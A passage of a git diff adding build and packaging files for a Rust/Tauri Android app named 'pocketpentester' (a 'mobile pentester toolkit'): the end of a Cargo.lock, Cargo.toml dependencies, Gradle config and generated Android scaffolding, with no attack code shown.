+[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link 0.2.1", + "windows-result 0.4.1", + "windows-strings 0.5.1", +] + +[[package]] +name = "windows-future" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e" +dependencies = [ + "windows-core 0.61.2", + "windows-link 0.1.3", + "windows-threading", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-numerics" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1" +dependencies = [ + "windows-core 0.61.2", + "windows-link 0.1.3", +] + +[[package]] +name = "windows-registry" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02752bf7fbdcce7f2a27a742f798510f3e5ad88dbe84871e5168e2120c3d5720" +dependencies = [ + "windows-link 0.2.1", + "windows-result 0.4.1", + "windows-strings 0.5.1", +] + +[[package]] +name = "windows-result" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" +dependencies = [ + "windows-link 0.1.3", +] + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link 0.2.1", +] + +[[package]] +name = "windows-strings" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" +dependencies = [ + "windows-link 0.1.3", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link 0.2.1", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.5", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link 0.2.1", +] + +[[package]] +name = "windows-targets" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link 0.2.1", + "windows_aarch64_gnullvm 0.53.1", + "windows_aarch64_msvc 0.53.1", + "windows_i686_gnu 0.53.1", + "windows_i686_gnullvm 0.53.1", + "windows_i686_msvc 0.53.1", + "windows_x86_64_gnu 0.53.1", + "windows_x86_64_gnullvm 0.53.1", + "windows_x86_64_msvc 0.53.1", +] + +[[package]] +name = "windows-threading" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6" +dependencies = [ + "windows-link 0.1.3", +] + +[[package]] +name = "windows-version" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4060a1da109b9d0326b7262c8e12c84df67cc0dbc9e33cf49e01ccc2eb63631" +dependencies = [ + "windows-link 0.2.1", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "winnow" +version = "0.5.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" +dependencies = [ + "memchr", +] + +[[package]] +name = "winnow" +version = "0.7.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df79d97927682d2fd8adb29682d1140b343be4ac0f08fd68b7765d9c059d3945" +dependencies = [ + "memchr", +] + +[[package]] +name = "winnow" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09dac053f1cd375980747450bfc7250c264eaae0583872e845c0c7cd578872b5" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.55.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb5a765337c50e9ec252c2069be9bf91c7df47afb103b642ba3a53bf8101be97" +dependencies = [ + "cfg-if", + "windows-sys 0.59.0", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck 0.5.0", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck 0.5.0", + "indexmap 2.14.0", + "prettyplease", + "syn 2.0.117", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn 2.0.117", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags 2.11.1", + "indexmap 2.14.0", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap 2.14.0", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = "wry" +version = "0.54.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5a8135d8676225e5744de000d4dff5a082501bf7db6a1c1495034f8c314edbc" +dependencies = [ + "base64 0.22.1", + "block2", + "cookie", + "crossbeam-channel", + "dirs", + "dom_query", + "dpi", + "dunce", + "gdkx11", + "gtk", + "http", + "javascriptcore-rs", + "jni", + "libc", + "ndk", + "objc2", + "objc2-app-kit", + "objc2-core-foundation", + "objc2-foundation", + "objc2-ui-kit", + "objc2-web-kit", + "once_cell", + "percent-encoding", + "raw-window-handle", + "sha2", + "soup3", + "tao-macros", + "thiserror 2.0.18", + "url", + "webkit2gtk", + "webkit2gtk-sys", + "webview2-com", + "windows", + "windows-core 0.61.2", + "windows-version", + "x11-dl", +] + +[[package]] +name = "x11" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "x509-parser" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4569f339c0c402346d4a75a9e39cf8dad310e287eef1ff56d4c68e5067f53460" +dependencies = [ + "asn1-rs", + "data-encoding", + "der-parser", + "lazy_static", + "nom", + "oid-registry", + "rusticata-macros", + "thiserror 2.0.18", + "time", +] + +[[package]] +name = "yoke" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abe8c5fda708d9ca3df187cae8bfb9ceda00dd96231bed36e445a1a48e66f9ca" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zbus" +version = "5.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca82f95dbd3943a40a53cfded6c2d0a2ca26192011846a1810c4256ef92c60bc" +dependencies = [ + "async-broadcast", + "async-executor", + "async-io", + "async-lock", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "enumflags2", + "event-listener", + "futures-core", + "futures-lite", + "hex", + "libc", + "ordered-stream", + "rustix", + "serde", + "serde_repr", + "tracing", + "uds_windows", + "uuid", + "windows-sys 0.61.2", + "winnow 0.7.15", + "zbus_macros", + "zbus_names", + "zvariant", +] + +[[package]] +name = "zbus_macros" +version = "5.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897e79616e84aac4b2c46e9132a4f63b93105d54fe8c0e8f6bffc21fa8d49222" +dependencies = [ + "proc-macro-crate 3.5.0", + "proc-macro2", + "quote", + "syn 2.0.117", + "zbus_names", + "zvariant", + "zvariant_utils", +] + +[[package]] +name = "zbus_names" +version = "4.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffd8af6d5b78619bab301ff3c560a5bd22426150253db278f164d6cf3b72c50f" +dependencies = [ + "serde", + "winnow 0.7.15", + "zvariant", +] + +[[package]] +name = "zerocopy" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerofrom" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69faa1f2a1ea75661980b013019ed6687ed0e83d069bc1114e2cc74c6c04c4df" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" + +[[package]] +name = "zvariant" +version = "5.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5708299b21903bbe348e94729f22c49c55d04720a004aa350f1f9c122fd2540b" +dependencies = [ + "endi", + "enumflags2", + "serde", + "winnow 0.7.15", + "zvariant_derive", + "zvariant_utils", +] + +[[package]] +name = "zvariant_derive" +version = "5.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b59b012ebe9c46656f9cc08d8da8b4c726510aef12559da3e5f1bf72780752c" +dependencies = [ + "proc-macro-crate 3.5.0", + "proc-macro2", + "quote", + "syn 2.0.117", + "zvariant_utils", +] + +[[package]] +name = "zvariant_utils" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f75c23a64ef8f40f13a6989991e643554d9bef1d682a281160cf0c1bc389c5e9" +dependencies = [ + "proc-macro2", + "quote", + "serde", + "syn 2.0.117", + "winnow 0.7.15", +] diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml new file mode 100644 index 0000000..baf97f1 --- /dev/null +++ b/src-tauri/Cargo.toml @@ -0,0 +1,48 @@ +[package] +name = "pocketpentester" +version = "0.1.0" +description = "Mobile pentester toolkit" +authors = ["imtaqin"] +edition = "2021" + +[lib] +name = "pocketpentester_lib" +crate-type = ["staticlib", "cdylib", "rlib"] + +[build-dependencies] +tauri-build = { version = "2", features = [] } + +[dependencies] +tauri = { version = "2", features = [] } +tauri-plugin-opener = "2" +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +tokio = { version = "1", features = ["rt-multi-thread", "net", "time", "macros", "sync", "io-util", "fs"] } +walkdir = "2" +local-ip-address = "0.6" +rustls = { version = "0.23", default-features = false, features = ["std", "ring"] } +tokio-rustls = { version = "0.26", default-features = false, features = ["ring"] } +x509-parser = "0.17" +rustls-pki-types = "1" +md5 = "0.7" +futures = "0.3" +reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "gzip", "json", "cookies"] } +hickory-resolver = "0.24" +anyhow = "1" +regex = "1" +once_cell = "1" +url = "2" +base64 = "0.22" +hmac = "0.12" +sha2 = "0.10" +rand = "0.8" +serde_yaml = "0.9" +urlencoding = "2" + +[profile.release] +opt-level = "z" +lto = true +codegen-units = 1 +strip = true +panic = "abort" diff --git a/src-tauri/build.rs b/src-tauri/build.rs new file mode 100644 index 0000000..d860e1e --- /dev/null +++ b/src-tauri/build.rs @@ -0,0 +1,3 @@ +fn main() { + tauri_build::build() +} diff --git a/src-tauri/capabilities/default.json b/src-tauri/capabilities/default.json new file mode 100644 index 0000000..4cdbf49 --- /dev/null +++ b/src-tauri/capabilities/default.json @@ -0,0 +1,10 @@ +{ + "$schema": "../gen/schemas/desktop-schema.json", + "identifier": "default", + "description": "Capability for the main window", + "windows": ["main"], + "permissions": [ + "core:default", + "opener:default" + ] +} diff --git a/src-tauri/gen/android/.editorconfig b/src-tauri/gen/android/.editorconfig new file mode 100644 index 0000000..ebe51d3 --- /dev/null +++ b/src-tauri/gen/android/.editorconfig @@ -0,0 +1,12 @@ +# EditorConfig is awesome: https://EditorConfig.org + +# top-most EditorConfig file +root = true + +[*] +indent_style = space +indent_size = 2 +end_of_line = lf +charset = utf-8 +trim_trailing_whitespace = false +insert_final_newline = false \ No newline at end of file diff --git a/src-tauri/gen/android/.gitignore b/src-tauri/gen/android/.gitignore new file mode 100644 index 0000000..b248203 --- /dev/null +++ b/src-tauri/gen/android/.gitignore @@ -0,0 +1,19 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +build +/captures +.externalNativeBuild +.cxx +local.properties +key.properties + +/.tauri +/tauri.settings.gradle \ No newline at end of file diff --git a/src-tauri/gen/android/app/.gitignore b/src-tauri/gen/android/app/.gitignore new file mode 100644 index 0000000..6c4d56b --- /dev/null +++ b/src-tauri/gen/android/app/.gitignore @@ -0,0 +1,6 @@ +/src/main/**/generated +/src/main/jniLibs/**/*.so +/src/main/assets/tauri.conf.json +/tauri.build.gradle.kts +/proguard-tauri.pro +/tauri.properties \ No newline at end of file diff --git a/src-tauri/gen/android/app/build.gradle.kts b/src-tauri/gen/android/app/build.gradle.kts new file mode 100644 index 0000000..55f1fab --- /dev/null +++ b/src-tauri/gen/android/app/build.gradle.kts @@ -0,0 +1,70 @@ +import java.util.Properties + +plugins { + id("com.android.application") + id("org.jetbrains.kotlin.android") + id("rust") +} + +val tauriProperties = Properties().apply { + val propFile = file("tauri.properties") + if (propFile.exists()) { + propFile.inputStream().use { load(it) } + } +} + +android { + compileSdk = 36 + namespace = "com.imtaqin.pocketpentester" + defaultConfig { + manifestPlaceholders["usesCleartextTraffic"] = "false" + applicationId = "com.imtaqin.pocketpentester" + minSdk = 24 + targetSdk = 36 + versionCode = tauriProperties.getProperty("tauri.android.versionCode", "1").toInt() + versionName = tauriProperties.getProperty("tauri.android.versionName", "1.0") + } + buildTypes { + getByName("debug") { + manifestPlaceholders["usesCleartextTraffic"] = "true" + isDebuggable = true + isJniDebuggable = true + isMinifyEnabled = false + packaging { jniLibs.keepDebugSymbols.add("*/arm64-v8a/*.so") + jniLibs.keepDebugSymbols.add("*/armeabi-v7a/*.so") + jniLibs.keepDebugSymbols.add("*/x86/*.so") + jniLibs.keepDebugSymbols.add("*/x86_64/*.so") + } + } + getByName("release") { + isMinifyEnabled = true + proguardFiles( + *fileTree(".") { include("**/*.pro") } + .plus(getDefaultProguardFile("proguard-android-optimize.txt")) + .toList().toTypedArray() + ) + } + } + kotlinOptions { + jvmTarget = "1.8" + } + buildFeatures { + buildConfig = true + } +} + +rust { + rootDirRel = "../../../" +} + +dependencies { + implementation("androidx.webkit:webkit:1.14.0") + implementation("androidx.appcompat:appcompat:1.7.1") + implementation("androidx.activity:activity-ktx:1.10.1") + implementation("com.google.android.material:material:1.12.0") + testImplementation("junit:junit:4.13.2") + androidTestImplementation("androidx.test.ext:junit:1.1.4") + androidTestImplementation("androidx.test.espresso:espresso-core:3.5.0") +} + +apply(from = "tauri.build.gradle.kts") \ No newline at end of file diff --git a/src-tauri/gen/android/app/proguard-rules.pro b/src-tauri/gen/android/app/proguard-rules.pro new file mode 100644 index 0000000..481bb43 --- /dev/null +++ b/src-tauri/gen/android/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/src-tauri/gen/android/app/src/main/AndroidManifest.xml b/src-tauri/gen/android/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3b8900a --- /dev/null +++ b/src-tauri/gen/android/app/src/main/AndroidManifest.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/src-tauri/gen/android/app/src/main/java/com/imtaqin/pocketpentester/MainActivity.kt b/src-tauri/gen/android/app/src/main/java/com/imtaqin/pocketpentester/MainActivity.kt new file mode 100644 index 0000000..c06ee0e --- /dev/null +++ b/src-tauri/gen/android/app/src/main/java/com/imtaqin/pocketpentester/MainActivity.kt @@ -0,0 +1,11 @@ +package com.imtaqin.pocketpentester + +import android.os.Bundle +import androidx.activity.enableEdgeToEdge + +class MainActivity : TauriActivity() { + override fun onCreate(savedInstanceState: Bundle?) { + enableEdgeToEdge() + super.onCreate(savedInstanceState) + } +} diff --git a/src-tauri/gen/android/app/src/main/res/drawable-v24/ic_launcher_foreground.xml b/src-tauri/gen/android/app/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/src-tauri/gen/android/app/src/main/res/drawable/ic_launcher_background.xml b/src-tauri/gen/android/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src-tauri/gen/android/app/src/main/res/layout/activity_main.xml b/src-tauri/gen/android/app/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..4fc2444 --- /dev/null +++ b/src-tauri/gen/android/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,18 @@ + + + + + + \ No newline at end of file diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher.png b/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 0000000..68824c3 Binary files /dev/null and b/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher.png differ diff --git a/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png b/src-tauri/gen/android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png new file mode 100644 index 